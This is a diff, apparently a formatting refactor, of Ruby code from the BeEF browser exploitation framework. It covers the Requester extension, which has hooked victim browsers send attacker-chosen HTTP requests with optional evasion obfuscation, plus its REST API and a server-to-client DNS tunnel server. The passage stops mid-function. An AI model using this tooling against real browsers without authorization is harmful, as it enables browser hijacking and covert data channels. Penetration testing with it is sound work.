|
||||
|
||||
req = %Q{
|
||||
req = %{
|
||||
beef.execute(function() {
|
||||
beef.net.requester.send(
|
||||
#{output.to_json}
|
||||
@@ -72,7 +67,7 @@ module BeEF
|
||||
});
|
||||
}
|
||||
|
||||
if config.get("beef.extension.evasion.enable")
|
||||
if config.get('beef.extension.evasion.enable')
|
||||
evasion = BeEF::Extension::Evasion::Evasion.instance
|
||||
@body << evasion.obfuscate(req)
|
||||
else
|
||||
@@ -86,7 +81,6 @@ module BeEF
|
||||
# The Hash will then be converted into JSON, given as input to beef.net.requester.send Javascript API function
|
||||
# and finally sent to and executed by the hooked browser.
|
||||
def requester_parse_db_request(http_db_object)
|
||||
|
||||
allow_cross_domain = http_db_object.allow_cross_domain.to_s
|
||||
verb = http_db_object.method.upcase
|
||||
proto = http_db_object.proto.downcase
|
||||
@@ -98,71 +92,65 @@ module BeEF
|
||||
@host = http_db_object.domain
|
||||
@port = http_db_object.port
|
||||
|
||||
print_debug "http_db_object:"
|
||||
print_debug 'http_db_object:'
|
||||
print_debug http_db_object.to_json
|
||||
|
||||
#@note: retrieve HTTP headers values needed later, and the \r\n that indicates the start of the post-data (if any)
|
||||
# @note: retrieve HTTP headers values needed later, and the \r\n that indicates the start of the post-data (if any)
|
||||
req_parts.each_with_index do |value, index|
|
||||
if value.match(/^Content-Length:\s+(\d+)/)
|
||||
@content_length = Integer(req_parts[index].split(/:\s+/)[1])
|
||||
end
|
||||
@content_length = Integer(req_parts[index].split(/:\s+/)[1]) if value.match(/^Content-Length:\s+(\d+)/)
|
||||
|
||||
if value.eql?("") or value.strip.empty? # this will be the CRLF (before HTTP request body)
|
||||
@post_data_index = index
|
||||
end
|
||||
@post_data_index = index if value.eql?('') || value.strip.empty? # this will be the CRLF (before HTTP request body)
|
||||
end
|
||||
|
||||
#@note: add HTTP request headers to an Hash
|
||||
# @note: add HTTP request headers to an Hash
|
||||
req_parts.each_with_index do |value, index|
|
||||
if verb.eql?('POST')
|
||||
if index > 0 and index < @post_data_index #only add HTTP headers, not the verb/uri/version or post-data
|
||||
header_key = value.split(/: /)[0]
|
||||
header_value = value.split(/: /)[1]
|
||||
headers[header_key] = header_value
|
||||
end
|
||||
else
|
||||
if index > 0 #only add HTTP headers, not the verb/uri/version
|
||||
header_key = value.split(/: /)[0]
|
||||
header_value = value.split(/: /)[1]
|
||||
headers[header_key] = header_value
|
||||
if index.positive? && (index < @post_data_index) # only add HTTP headers, not the verb/uri/version or post-data
|
||||
header_key = value.split(/: /)[0]
|
||||
header_value = value.split(/: /)[1]
|
||||
headers[header_key] = header_value
|
||||
end
|
||||
elsif index.positive?
|
||||
header_key = value.split(/: /)[0]
|
||||
header_value = value.split(/: /)[1]
|
||||
headers[header_key] = header_value # only add HTTP headers, not the verb/uri/version
|
||||
end
|
||||
end
|
||||
|
||||
# set default port if nil
|
||||
if @port.nil?
|
||||
if uri.to_s =~ /^https?/
|
||||
# absolute
|
||||
(uri.match(/^https:/)) ? @port = 443 : @port = 80
|
||||
else
|
||||
# relative
|
||||
(proto.eql?('https')) ? @port = 443 : @port = 80
|
||||
end
|
||||
@port = if uri.to_s =~ /^https?/
|
||||
# absolute
|
||||
uri.match(/^https:/) ? 443 : 80
|
||||
else
|
||||
# relative
|
||||
proto.eql?('https') ? 443 : 80
|
||||
end
|
||||
end
|
||||
|
||||
# Build request
|
||||
http_request_object = {
|
||||
'id' => http_db_object.id,
|
||||
'method' => verb,
|
||||
'proto' => proto,
|
||||
'host' => @host,
|
||||
'port' => @port,
|
||||
'uri' => uri,
|
||||
'headers' => headers,
|
||||
'id' => http_db_object.id,
|
||||
'method' => verb,
|
||||
'proto' => proto,
|
||||
'host' => @host,
|
||||
'port' => @port,
|
||||
'uri' => uri,
|
||||
'headers' => headers,
|
||||
'allowCrossDomain' => allow_cross_domain
|
||||
}
|
||||
|
||||
# Add POST request data
|
||||
if not @content_length.nil? and @content_length > 0
|
||||
if !@content_length.nil? && @content_length.positive?
|
||||
post_data_sliced = req_parts.slice(@post_data_index + 1, req_parts.length)
|
||||
@post_data = post_data_sliced.join
|
||||
http_request_object['data'] = @post_data
|
||||
end
|
||||
|
||||
#@note: parse HTTP headers Hash, adding them to the object that will be used by beef.net.requester.send
|
||||
headers.keys.each { |key| http_request_object['headers'][key] = headers[key] }
|
||||
|
||||
print_debug "result http_request_object"
|
||||
# @note: parse HTTP headers Hash, adding them to the object that will be used by beef.net.requester.send
|
||||
headers.each_key { |key| http_request_object['headers'][key] = headers[key] }
|
||||
|
||||
print_debug 'result http_request_object'
|
||||
print_debug http_request_object.to_json
|
||||
|
||||
http_request_object
|
||||
|
||||
@@ -4,11 +4,10 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Requester
|
||||
|
||||
end
|
||||
end
|
||||
module Extension
|
||||
module Requester
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'extensions/requester/models/http'
|
||||
|
||||
@@ -6,12 +6,10 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module Requester
|
||||
|
||||
#
|
||||
# The http handler that manages the Requester.
|
||||
#
|
||||
class Handler
|
||||
|
||||
H = BeEF::Core::Models::Http
|
||||
Z = BeEF::Core::Models::HookedBrowser
|
||||
|
||||
@@ -24,39 +22,48 @@ module BeEF
|
||||
# validates the hook token
|
||||
beef_hook = @data['beefhook'] || nil
|
||||
if beef_hook.nil?
|
||||
print_error "beefhook is null"
|
||||
print_error 'beefhook is null'
|
||||
return
|
||||
end
|
||||
|
||||
# validates the request id
|
||||
request_id = @data['cid'].to_s
|
||||
if request_id == ''
|
||||
print_error "Original request id (command id) is null"
|
||||
print_error 'Original request id (command id) is null'
|
||||
return
|
||||
end
|
||||
|
||||
if !BeEF::Filters::nums_only?(request_id)
|
||||
print_error "Original request id (command id) is invalid"
|
||||
unless BeEF::Filters.nums_only?(request_id)
|
||||
print_error 'Original request id (command id) is invalid'
|
||||
return
|
||||
end
|
||||
|
||||
# validates that a hooked browser with the beef_hook token exists in the db
|
||||
zombie_db = Z.where(:session => beef_hook).first || nil
|
||||
(print_error "Invalid beefhook id: the hooked browser cannot be found in the database";return) if zombie_db.nil?
|
||||
zombie_db = Z.where(session: beef_hook).first || nil
|
||||
if zombie_db.nil?
|
||||
(print_error 'Invalid beefhook id: the hooked browser cannot be found in the database'
|
||||
return)
|
||||
end
|
||||
|
||||
# validates that we have such a http request saved in the db
|
||||
http_db = H.where(:id => request_id.to_i, :hooked_browser_id => zombie_db.session).first || nil
|
||||
http_db = H.where(id: request_id.to_i, hooked_browser_id: zombie_db.session).first || nil
|
||||
if http_db.nil?
|
||||
print_error "Invalid http_db: no such request found in the database"
|
||||
print_error 'Invalid http_db: no such request found in the database'
|
||||
return
|
||||
end
|
||||
|
||||
# validates that the http request has not been run before
|
||||
(print_error "This http request has been saved before";return) if http_db.has_ran.eql? "complete"
|
||||
if http_db.has_ran.eql? 'complete'
|
||||
(print_error 'This http request has been saved before'
|
||||
return)
|
||||
end
|
||||
|
||||
# validates the response code
|
||||
response_code = @data['results']['response_status_code'] || nil
|
||||
(print_error "Http response code is null";return) if response_code.nil?
|
||||
if response_code.nil?
|
||||
(print_error 'Http response code is null'
|
||||
return)
|
||||
end
|
||||
|
||||
# save the results in the database
|
||||
http_db.response_headers = @data['results']['response_headers']
|
||||
@@ -65,13 +72,11 @@ module BeEF
|
||||
http_db.response_port_status = @data['results']['response_port_status']
|
||||
http_db.response_data = @data['results']['response_data']
|
||||
http_db.response_date = Time.now
|
||||
http_db.has_ran = "complete"
|
||||
http_db.has_ran = 'complete'
|
||||
|
||||
# Store images as binary
|
||||
# see issue https://github.com/beefproject/beef/issues/449
|
||||
if http_db.response_headers =~ /Content-Type: image/
|
||||
http_db.response_data = http_db.response_data.unpack('a*')
|
||||
end
|
||||
http_db.response_data = http_db.response_data.unpack('a*') if http_db.response_headers =~ /Content-Type: image/
|
||||
|
||||
http_db.save
|
||||
end
|
||||
|
||||
@@ -4,23 +4,28 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module Models
|
||||
#
|
||||
# Table stores the http requests and responses from the requester.
|
||||
#
|
||||
class Http < BeEF::Core::Model
|
||||
|
||||
#
|
||||
# Removes a request/response from the data store
|
||||
#
|
||||
def self.delete(id)
|
||||
(print_error "Failed to remove response. Invalid response ID."; return) if id.to_s !~ /\A\d+\z/
|
||||
r = BeEF::Core::Models::Http.find(id.to_i)
|
||||
(print_error "Failed to remove response [id: #{id}]. Response does not exist."; return) if r.nil?
|
||||
r.destroy
|
||||
module Core
|
||||
module Models
|
||||
#
|
||||
# Table stores the http requests and responses from the requester.
|
||||
#
|
||||
class Http < BeEF::Core::Model
|
||||
#
|
||||
# Removes a request/response from the data store
|
||||
#
|
||||
def self.delete(id)
|
||||
if id.to_s !~ /\A\d+\z/
|
||||
(print_error 'Failed to remove response. Invalid response ID.'
|
||||
return)
|
||||
end
|
||||
r = BeEF::Core::Models::Http.find(id.to_i)
|
||||
if r.nil?
|
||||
(print_error "Failed to remove response [id: #{id}]. Response does not exist."
|
||||
return)
|
||||
end
|
||||
r.destroy
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -6,10 +6,8 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module Requester
|
||||
|
||||
# This class handles the routing of RESTful API requests for the requester
|
||||
class RequesterRest < BeEF::Core::Router::Router
|
||||
|
||||
# Filters out bad requests before performing any routing
|
||||
before do
|
||||
config = BeEF::Core::Configuration.instance
|
||||
@@ -29,264 +27,233 @@ module BeEF
|
||||
|
||||
# Returns a request by ID
|
||||
get '/request/:id' do
|
||||
begin
|
||||
id = params[:id]
|
||||
raise InvalidParamError, 'id' unless BeEF::Filters::nums_only?(id)
|
||||
id = params[:id]
|
||||
raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id)
|
||||
|
||||
requests = H.find(id)
|
||||
halt 404 if requests.nil?
|
||||
requests = H.find(id)
|
||||
halt 404 if requests.nil?
|
||||
|
||||
result = {}
|
||||
result[:count] = requests.length
|
||||
result[:requests] = []
|
||||
requests.each do |request|
|
||||
result[:requests] << request2hash(request)
|
||||
end
|
||||
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving request with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
result = {}
|
||||
result[:count] = requests.length
|
||||
result[:requests] = []
|
||||
requests.each do |request|
|
||||
result[:requests] << request2hash(request)
|
||||
end
|
||||
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving request with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
# Returns all requestes given a specific hooked browser id
|
||||
get '/requests/:id' do
|
||||
begin
|
||||
id = params[:id]
|
||||
raise InvalidParamError, 'id' unless BeEF::Filters.is_valid_hook_session_id?(id)
|
||||
id = params[:id]
|
||||
raise InvalidParamError, 'id' unless BeEF::Filters.is_valid_hook_session_id?(id)
|
||||
|
||||
requests = H.where(:hooked_browser_id => id)
|
||||
halt 404 if requests.nil?
|
||||
requests = H.where(hooked_browser_id: id)
|
||||
halt 404 if requests.nil?
|
||||
|
||||
result = {}
|
||||
result[:count] = requests.length
|
||||
result[:requests] = []
|
||||
requests.each do |request|
|
||||
result[:requests] << request2hash(request)
|
||||
end
|
||||
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving request list for hooked browser with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
result = {}
|
||||
result[:count] = requests.length
|
||||
result[:requests] = []
|
||||
requests.each do |request|
|
||||
result[:requests] << request2hash(request)
|
||||
end
|
||||
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving request list for hooked browser with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
# Return a response by ID
|
||||
get '/response/:id' do
|
||||
begin
|
||||
# super debugging
|
||||
|
||||
# super debugging
|
||||
error = {}
|
||||
|
||||
error = {}
|
||||
error[:code] = 0
|
||||
|
||||
error[:code]=0
|
||||
id = params[:id]
|
||||
raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id)
|
||||
|
||||
id = params[:id]
|
||||
raise InvalidParamError, 'id' unless BeEF::Filters::nums_only?(id)
|
||||
error[:code]=1
|
||||
error[:code] = 1
|
||||
|
||||
responses = H.find(id) || nil
|
||||
error[:code]=2
|
||||
halt 404 if responses.nil?
|
||||
error[:code]=3
|
||||
result = {}
|
||||
result[:success] = 'true'
|
||||
error[:code]=4
|
||||
responses = H.find(id) || nil
|
||||
error[:code] = 2
|
||||
halt 404 if responses.nil?
|
||||
error[:code] = 3
|
||||
result = {}
|
||||
result[:success] = 'true'
|
||||
error[:code] = 4
|
||||
|
||||
result[:result] = response2hash(responses)
|
||||
error[:code]=5
|
||||
result[:result] = response2hash(responses)
|
||||
error[:code] = 5
|
||||
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving response with id #{id} (#{e.message})"
|
||||
|
||||
error[:id] = id
|
||||
error[:message] = e.message
|
||||
error.to_json
|
||||
# halt 500
|
||||
end
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving response with id #{id} (#{e.message})"
|
||||
|
||||
error[:id] = id
|
||||
error[:message] = e.message
|
||||
error.to_json
|
||||
# halt 500
|
||||
end
|
||||
|
||||
# Deletes a specific response given its id
|
||||
delete '/response/:id' do
|
||||
begin
|
||||
id = params[:id]
|
||||
raise InvalidParamError, 'id' unless BeEF::Filters::nums_only?(id)
|
||||
id = params[:id]
|
||||
raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id)
|
||||
|
||||
responses = H.find(id) || nil
|
||||
halt 404 if responses.nil?
|
||||
responses = H.find(id) || nil
|
||||
halt 404 if responses.nil?
|
||||
|
||||
result = {}
|
||||
result['success'] = H.delete(id)
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while removing response with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
result = {}
|
||||
result['success'] = H.delete(id)
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while removing response with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
# Send a new HTTP request to the hooked browser
|
||||
post '/send/:id' do
|
||||
begin
|
||||
id = params[:id]
|
||||
proto = params[:proto].to_s || 'http'
|
||||
raw_request = params['raw_request'].to_s
|
||||
id = params[:id]
|
||||
proto = params[:proto].to_s || 'http'
|
||||
raw_request = params['raw_request'].to_s
|
||||
|
||||
zombie = HB.where(:session => id).first || nil
|
||||
halt 404 if zombie.nil?
|
||||
zombie = HB.where(session: id).first || nil
|
||||
halt 404 if zombie.nil?
|
||||
|
||||
# @TODO: move most of this to the model
|
||||
|
||||
raise InvalidParamError, 'raw_request' if raw_request == ''
|
||||
|
||||
# @TODO: move most of this to the model
|
||||
raise InvalidParamError, 'raw_request: Invalid request URL scheme' if proto !~ /\Ahttps?\z/
|
||||
|
||||
if raw_request == ''
|
||||
raise InvalidParamError, 'raw_request'
|
||||
end
|
||||
req_parts = raw_request.split(/ |\n/)
|
||||
|
||||
if proto !~ /\Ahttps?\z/
|
||||
raise InvalidParamError, 'raw_request: Invalid request URL scheme'
|
||||
end
|
||||
verb = req_parts[0]
|
||||
raise InvalidParamError, 'raw_request: Only HEAD, GET, POST, OPTIONS, PUT or DELETE requests are supported' unless BeEF::Filters.is_valid_verb?(verb)
|
||||
|
||||
req_parts = raw_request.split(/ |\n/)
|
||||
uri = req_parts[1]
|
||||
raise InvalidParamError, 'raw_request: Invalid URI' unless BeEF::Filters.is_valid_url?(uri)
|
||||
|
||||
verb = req_parts[0]
|
||||
if not BeEF::Filters.is_valid_verb?(verb)
|
||||
raise InvalidParamError, 'raw_request: Only HEAD, GET, POST, OPTIONS, PUT or DELETE requests are supported'
|
||||
end
|
||||
version = req_parts[2]
|
||||
raise InvalidParamError, 'raw_request: Invalid HTTP version' unless BeEF::Filters.is_valid_http_version?(version)
|
||||
|
||||
uri = req_parts[1]
|
||||
if not BeEF::Filters.is_valid_url?(uri)
|
||||
raise InvalidParamError, 'raw_request: Invalid URI'
|
||||
end
|
||||
host_str = req_parts[3]
|
||||
raise InvalidParamError, 'raw_request: Invalid HTTP version' unless BeEF::Filters.is_valid_host_str?(host_str)
|
||||
|
||||
version = req_parts[2]
|
||||
if not BeEF::Filters.is_valid_http_version?(version)
|
||||
raise InvalidParamError, 'raw_request: Invalid HTTP version'
|
||||
end
|
||||
# Validate target hsot
|
||||
host = req_parts[4]
|
||||
host_parts = host.split(/:/)
|
||||
host_name = host_parts[0]
|
||||
host_port = host_parts[1] || nil
|
||||
|
||||
host_str = req_parts[3]
|
||||
if not BeEF::Filters.is_valid_host_str?(host_str)
|
||||
raise InvalidParamError, 'raw_request: Invalid HTTP version'
|
||||
end
|
||||
raise InvalidParamError, 'raw_request: Invalid HTTP HostName' unless BeEF::Filters.is_valid_hostname?(host_name)
|
||||
|
||||
# Validate target hsot
|
||||
host = req_parts[4]
|
||||
host_parts = host.split(/:/)
|
||||
host_name = host_parts[0]
|
||||
host_port = host_parts[1] || nil
|
||||
|
||||
unless BeEF::Filters.is_valid_hostname?(host_name)
|
||||
raise InvalidParamError, 'raw_request: Invalid HTTP HostName'
|
||||
end
|
||||
|
||||
host_port = host_parts[1] || nil
|
||||
if host_port.nil? || !BeEF::Filters::nums_only?(host_port)
|
||||
host_port = proto.eql?('https') ? 443 : 80
|
||||
end
|
||||
|
||||
# Save the new HTTP request
|
||||
http = H.new(
|
||||
:hooked_browser_id => zombie.session,
|
||||
:request => raw_request,
|
||||
:method => verb,
|
||||
:proto => proto,
|
||||
:domain => host_name,
|
||||
:port => host_port,
|
||||
:path => uri,
|
||||
:request_date => Time.now,
|
||||
:allow_cross_domain => "true",
|
||||
)
|
||||
|
||||
print_debug "added new http request for #{zombie.session}"
|
||||
print_debug http.to_json
|
||||
|
||||
if verb.eql?('POST') || verb.eql?('PUT')
|
||||
req_parts.each_with_index do |value, index|
|
||||
if value.match(/^Content-Length/i)
|
||||
http.content_length = req_parts[index+1]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
http.save
|
||||
|
||||
result = request2hash(http)
|
||||
print_debug "[Requester] Sending HTTP request through zombie [ip: #{zombie.ip}] : #{result}"
|
||||
|
||||
#result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while removing network host with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
host_port = host_parts[1] || nil
|
||||
if host_port.nil? || !BeEF::Filters.nums_only?(host_port)
|
||||
host_port = proto.eql?('https') ? 443 : 80
|
||||
end
|
||||
|
||||
# Save the new HTTP request
|
||||
http = H.new(
|
||||
hooked_browser_id: zombie.session,
|
||||
request: raw_request,
|
||||
method: verb,
|
||||
proto: proto,
|
||||
domain: host_name,
|
||||
port: host_port,
|
||||
path: uri,
|
||||
request_date: Time.now,
|
||||
allow_cross_domain: 'true'
|
||||
)
|
||||
|
||||
print_debug "added new http request for #{zombie.session}"
|
||||
print_debug http.to_json
|
||||
|
||||
if verb.eql?('POST') || verb.eql?('PUT')
|
||||
req_parts.each_with_index do |value, index|
|
||||
http.content_length = req_parts[index + 1] if value.match(/^Content-Length/i)
|
||||
end
|
||||
end
|
||||
|
||||
http.save
|
||||
|
||||
result = request2hash(http)
|
||||
print_debug "[Requester] Sending HTTP request through zombie [ip: #{zombie.ip}] : #{result}"
|
||||
|
||||
# result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while removing network host with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
# Convert a request object to Hash
|
||||
def request2hash(http)
|
||||
{
|
||||
:id => http.id,
|
||||
:proto => http.proto,
|
||||
:domain => http.domain,
|
||||
:port => http.port,
|
||||
:path => http.path,
|
||||
:has_ran => http.has_ran,
|
||||
:method => http.method,
|
||||
:request_date => http.request_date,
|
||||
:response_date => http.response_date,
|
||||
:response_status_code => http.response_status_code,
|
||||
:response_status_text => http.response_status_text,
|
||||
:response_port_status => http.response_port_status
|
||||
id: http.id,
|
||||
proto: http.proto,
|
||||
domain: http.domain,
|
||||
port: http.port,
|
||||
path: http.path,
|
||||
has_ran: http.has_ran,
|
||||
method: http.method,
|
||||
request_date: http.request_date,
|
||||
response_date: http.response_date,
|
||||
response_status_code: http.response_status_code,
|
||||
response_status_text: http.response_status_text,
|
||||
response_port_status: http.response_port_status
|
||||
}
|
||||
end
|
||||
|
||||
# Convert a response object to Hash
|
||||
def response2hash(http)
|
||||
response_data = ''
|
||||
|
||||
response_data = ""
|
||||
|
||||
if not http.response_data.nil?
|
||||
if http.response_data.length > (1024 * 100) # more thank 100K
|
||||
response_data = http.response_data[0..(1024*100)]
|
||||
response_data += "\n<---------- Response Data Truncated---------->"
|
||||
end
|
||||
if !http.response_data.nil? && (http.response_data.length > (1024 * 100)) # more thank 100K
|
||||
response_data = http.response_data[0..(1024 * 100)]
|
||||
response_data += "\n<---------- Response Data Truncated---------->"
|
||||
end
|
||||
|
||||
response_headers = ""
|
||||
response_headers = http.response_headers if not http.response_headers.nil?
|
||||
response_headers = ''
|
||||
response_headers = http.response_headers unless http.response_headers.nil?
|
||||
|
||||
{
|
||||
:id => http.id,
|
||||
:request => http.request.force_encoding('UTF-8'),
|
||||
:response => response_data.force_encoding('UTF-8'),
|
||||
:response_headers => response_headers.force_encoding('UTF-8'),
|
||||
:proto => http.proto.force_encoding('UTF-8'),
|
||||
:domain => http.domain.force_encoding('UTF-8'),
|
||||
:port => http.port.force_encoding('UTF-8'),
|
||||
:path => http.path.force_encoding('UTF-8'),
|
||||
:date => http.request_date,
|
||||
:has_ran => http.has_ran.force_encoding('UTF-8')
|
||||
id: http.id,
|
||||
request: http.request.force_encoding('UTF-8'),
|
||||
response: response_data.force_encoding('UTF-8'),
|
||||
response_headers: response_headers.force_encoding('UTF-8'),
|
||||
proto: http.proto.force_encoding('UTF-8'),
|
||||
domain: http.domain.force_encoding('UTF-8'),
|
||||
port: http.port.force_encoding('UTF-8'),
|
||||
path: http.path.force_encoding('UTF-8'),
|
||||
date: http.request_date,
|
||||
has_ran: http.has_ran.force_encoding('UTF-8')
|
||||
}
|
||||
end
|
||||
|
||||
# Raised when invalid JSON input is passed to an /api/requester handler.
|
||||
class InvalidJsonError < StandardError
|
||||
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/requester handler'
|
||||
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/requester handler'.freeze
|
||||
|
||||
def initialize(message = nil)
|
||||
super(message || DEFAULT_MESSAGE)
|
||||
@@ -295,11 +262,11 @@ module BeEF
|
||||
|
||||
# Raised when an invalid named parameter is passed to an /api/requester handler.
|
||||
class InvalidParamError < StandardError
|
||||
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/requester handler'
|
||||
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/requester handler'.freeze
|
||||
|
||||
def initialize(message = nil)
|
||||
str = "Invalid \"%s\" parameter passed to /api/requester handler"
|
||||
message = sprintf str, message unless message.nil?
|
||||
str = 'Invalid "%s" parameter passed to /api/requester handler'
|
||||
message = format str, message unless message.nil?
|
||||
super(message)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -7,37 +7,33 @@ module BeEF
|
||||
module Extension
|
||||
module ServerClientDnsTunnel
|
||||
module API
|
||||
|
||||
module ServerClientDnsTunnelHandler
|
||||
|
||||
BeEF::API::Registrar.instance.register( BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler,
|
||||
BeEF::API::Server, 'pre_http_start' )
|
||||
BeEF::API::Registrar.instance.register( BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler,
|
||||
BeEF::API::Server, 'mount_handler' )
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler,
|
||||
BeEF::API::Server, 'pre_http_start')
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler,
|
||||
BeEF::API::Server, 'mount_handler')
|
||||
|
||||
# Starts the S2C DNS Tunnel server at BeEF startup.
|
||||
# @param http_hook_server [BeEF::Core::Server] HTTP server instance
|
||||
def self.pre_http_start(http_hook_server)
|
||||
|
||||
def self.pre_http_start(_http_hook_server)
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
zone = configuration.get('beef.extension.s2c_dns_tunnel.zone')
|
||||
raise ArgumentError,'zone name is undefined' unless zone.to_s != ""
|
||||
raise ArgumentError, 'zone name is undefined' unless zone.to_s != ''
|
||||
|
||||
# if listen parameter is not defined in the config.yaml then interface with the highest BeEF's IP-address will be choosen
|
||||
listen = configuration.get('beef.extension.s2c_dns_tunnel.listen')
|
||||
Socket.ip_address_list.map {|x| listen = x.ip_address if x.ipv4?} if listen.to_s.empty?
|
||||
Socket.ip_address_list.map { |x| listen = x.ip_address if x.ipv4? } if listen.to_s.empty?
|
||||
|
||||
port = 53
|
||||
protocol = :udp
|
||||
interfaces = [[protocol, listen, port]]
|
||||
dns = BeEF::Extension::ServerClientDnsTunnel::Server.instance
|
||||
dns.run(:listen => interfaces, :zone => zone)
|
||||
dns.run(listen: interfaces, zone: zone)
|
||||
|
||||
print_info "Server-to-Client DNS Tunnel Server: #{listen}:#{port} (#{protocol})"
|
||||
info = ''
|
||||
info += "Zone: " + zone + "\n"
|
||||
info += "Zone: #{zone}\n"
|
||||
print_more info
|
||||
|
||||
end
|
||||
|
||||
# Mounts the handler for processing HTTP image requests.
|
||||
@@ -47,9 +43,7 @@ module BeEF
|
||||
zone = configuration.get('beef.extension.s2c_dns_tunnel.zone')
|
||||
beef_server.mount('/tiles', BeEF::Extension::ServerClientDnsTunnel::Httpd.new(zone))
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -6,36 +6,34 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module ServerClientDnsTunnel
|
||||
module RubyDNS
|
||||
class Transaction
|
||||
def fail!(rcode, domain)
|
||||
append_question!
|
||||
|
||||
class RubyDNS::Transaction
|
||||
@answer.rcode = if rcode.is_a? Symbol
|
||||
Resolv::DNS::RCode.const_get(rcode)
|
||||
else
|
||||
rcode.to_i
|
||||
end
|
||||
|
||||
def fail!(rcode,domain)
|
||||
append_question!
|
||||
return unless rcode == :NXDomain
|
||||
|
||||
if rcode.kind_of? Symbol
|
||||
@answer.rcode = Resolv::DNS::RCode.const_get(rcode)
|
||||
else
|
||||
@answer.rcode = rcode.to_i
|
||||
end
|
||||
|
||||
if rcode == :NXDomain
|
||||
@answer.aa = 1
|
||||
soa = Resolv::DNS::Resource::IN::SOA.new(Resolv::DNS::Name.create("ns." + domain),
|
||||
Resolv::DNS::Name.create("hostmaster." + domain),
|
||||
Time.now.strftime("%Y%m%d%H").to_i,86400,7200,3600000,172800
|
||||
)
|
||||
@answer.add_authority(name,3600,soa)
|
||||
soa = Resolv::DNS::Resource::IN::SOA.new(Resolv::DNS::Name.create("ns.#{domain}"),
|
||||
Resolv::DNS::Name.create("hostmaster.#{domain}"),
|
||||
Time.now.strftime('%Y%m%d%H').to_i, 86_400, 7200, 3_600_000, 172_800)
|
||||
@answer.add_authority(name, 3600, soa)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class Server < RubyDNS::Server
|
||||
|
||||
include Singleton
|
||||
|
||||
attr_accessor :messages
|
||||
|
||||
def initialize()
|
||||
def initialize
|
||||
super()
|
||||
@lock = Mutex.new
|
||||
end
|
||||
@@ -50,13 +48,12 @@ module BeEF
|
||||
Thread.new do
|
||||
EventMachine.next_tick do
|
||||
listen = options[:listen] || nil
|
||||
super(:listen => listen)
|
||||
super(listen: listen)
|
||||
|
||||
@selfip = options[:listen][0][1]
|
||||
@zone = options[:zone]
|
||||
@selfip = options[:listen][0][1]
|
||||
@zone = options[:zone]
|
||||
@messages = {}
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -66,11 +63,11 @@ module BeEF
|
||||
# @param name [String] name of the resource record being looked up
|
||||
# @param resource [Resolv::DNS::Resource::IN] query type (e.g. A, CNAME, NS, etc.)
|
||||
# @param transaction [RubyDNS::Transaction] internal RubyDNS class detailing DNS question/answer
|
||||
def process(name,resource,transaction)
|
||||
def process(name, resource, transaction)
|
||||
@lock.synchronize do
|
||||
print_debug "Received DNS request (name: #{name} type: #{format_resource(resource)})"
|
||||
if format_resource(resource) != 'A' or not name.match(/#{@zone}$/)
|
||||
transaction.fail!(:Refused,@zone)
|
||||
